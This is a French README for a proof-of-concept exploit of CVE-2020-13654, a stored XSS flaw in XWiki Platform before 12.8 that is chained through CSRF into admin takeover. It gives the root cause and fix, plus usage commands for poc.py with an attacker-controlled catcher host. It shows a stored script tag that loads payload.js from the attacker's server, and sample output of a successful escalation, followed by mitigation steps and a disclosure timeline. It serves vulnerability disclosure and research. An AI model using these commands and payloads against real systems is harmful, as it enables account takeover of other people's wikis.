
CVE-2020-13654 - XWiki Platform < 12.8 - XSS stocké → CSRF → prise de contrôle de compte
Découvert et signalé par : Astaruf
Article complet : https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform avant la version 12.8 n'applique pas d'encodage HTML aux champs contrôlés par l'utilisateur dans l'éditeur de profil. Le champ concerné confirmé lors des recherches est "Société" (sous Modifier → Informations personnelles), mais d'autres champs du profil partagent le même chemin de code.
Lorsqu'une page de profil est rendue, la valeur stockée du champ est insérée textuellement dans le HTML sans aucun appel à $escapetool.xml() ou un échappement équivalent. Un attaquant disposant de n'importe quel compte authentifié, y compris un compte fraîchement auto-enregistré, peut stocker du HTML/JavaScript arbitraire qui s'exécute de manière persistante dans le navigateur de chaque utilisateur visitant le profil, y compris les administrateurs.
Cause racine dans le template Velocity concerné :
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| Champ | Valeur |
|---|---|
| Produit | XWiki Platform |
| Versions affectées | < 12.8 |
| Corrigé dans | 12.8 |
| Score CVSSv3 | 7.5 (Élevé) |
| CWE | CWE-116 — Encodage ou échappement de sortie inapproprié |
Cette PoC démontre une chaîne d'élévation de privilèges sans clic :
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
Aucune interaction de l'administrateur au-delà d'une simple visite de page n'est nécessaire.
poc.py est un script d'exploitation autonome. Il :
Company du profil, en préservant toutes les autres valeurs de champs existantes/payload.js) et enregistre les balises reçuesLorsque l'administrateur visite l'URL, la balise <script src="..."> stockée charge payload.js depuis le serveur de l'attaquant. La charge utile s'exécute dans le contexte du navigateur authentifié de l'administrateur, ajoute silencieusement le compte de l'attaquant à XWikiAdminGroup, et renvoie le résultat sous forme de balise.
pip install -r requirements.txt
Avec auto-enregistrement (aucun compte préexistant nécessaire) :
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
Avec un compte à faibles privilèges existant :
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
| Argument | Requis | Description |
|---|---|---|
--target | ✅ | URL de base de XWiki |
--catcher | ✅ | URL contrôlée par l'attaquant (utilisée pour servir payload.js et collecter les balises) |
--username | ✅ | Nom d'utilisateur du compte attaquant |
--password | ✅ | Mot de passe du compte attaquant |
--register | ✗ | Enregistrer automatiquement le compte avant l'exploitation |
--first-name | si --register | Prénom d'enregistrement |
--last-name | si --register | Nom d'enregistrement |
--email | si --register | Email d'enregistrement |
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Mettez à niveau vers XWiki Platform ≥ 12.8.
Le correctif applique $escapetool.xml() à tous les champs de profil contrôlés par l'utilisateur avant leur rendu, empêchant l'injection de HTML/JavaScript brut.
Si une mise à niveau immédiate n'est pas possible, restreignez l'auto-enregistrement et limitez la visibilité des profils aux utilisateurs de confiance via la gestion des droits d'accès de XWiki.
| Date | Événement |
|---|---|
| Mai 2020 | Vulnérabilité découverte |
| Mai 2020 | Signalée à l'équipe de sécurité de XWiki |
| Juillet 2020 | Corrigée dans XWiki Platform 12.8 |
| Novembre 2020 | CVE-2020-13654 attribuée par MITRE |
| 30 décembre 2020 | Divulgation publique — nstsec.com |
Ce dépôt est fourni à des fins éducatives et de recherche en sécurité autorisées uniquement.
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester.
L'auteur décline toute responsabilité en cas d'utilisation abusive.